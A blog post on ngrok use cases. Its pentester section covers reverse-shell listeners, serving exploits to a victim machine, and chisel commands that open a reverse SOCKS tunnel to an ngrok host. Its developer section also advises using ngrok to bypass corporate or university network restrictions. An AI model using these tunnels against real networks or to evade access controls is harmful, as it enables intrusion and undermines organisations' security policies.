Skip to content
Ngrok Use Cases

Ngrok Use Cases

Published: at 04:00 PM

Table of contents

Open Table of contents

What is Ngrok

Ngrok is a powerful tool that allows developers, pentesters, and tech enthusiasts to securely expose local services to the internet. Official website:

In this article, I will show some use cases of this tool.

Setup

Next, you can check help menu of the tool.

For Pentesters

Reverse Shell

You can set up a publicly accessible listener to receive a reverse shell after compromising a machine.

revshell 1

revshell 2

revshell 3

revshell 4

revshell 5

Exposing a Local Web Server

Another use case is exposing a Local Web Server to download tools and exploits onto the victim machine.

exposeweb 1

exposeweb 2

Port Forwarding, Pivoting, and Proxy Chaining with Ngrok

Let’s combine Ngrok with chisel for port forwarding and pivoting.

wget https://github.com/jpillora/chisel/releases/download/v1.10.0/chisel_1.10.0_linux_amd64.gz
gunzip chisel_1.10.0_linux_amd64.gz
chmod +x ./chisel_1.10.0_linux_amd64
./chisel_1.10.0_linux_amd64 server -p 2200 --reverse
./chisel_1.10.0_linux_amd64 client 6.tcp.eu.ngrok.io:10127 R:socks

pivot 1

pivot 2

For Developers and Tech Enthusiasts

While these methods may not be the most secure or optimal, they are certainly viable options.

Exposing for Demonstration

When developing an API or service, you might need to share it publicly with your team. Ngrok makes this easy:

# Suppose your API is running on port 3000
ngrok http 3000
# Share the address Ngrok provides

Getting SSH/RDP Access to a Local Machine

If you need to access your machine remotely, you can use Ngrok to forward SSH or RDP ports to the public and access it from anywhere:

ngrok tcp 22
ngrok tcp 3389

Bypassing Corporate Network Restrictions

If your university or job restricts access to certain web portals, Ngrok can help you bypass these restrictions:

ngrok http foo.dev:80

Running a Local Game Server

You can run a local game server, such as Minecraft, and expose it to the public so you can play with your friends:

ngrok tcp 25565

Conclusion

Ngrok offers versatile solutions for developers, pentesters, and tech enthusiasts by securely exposing local services to the internet. Whether you’re demonstrating an API, setting up a reverse shell, or bypassing network restrictions, Ngrok simplifies the process with powerful, easy-to-use commands.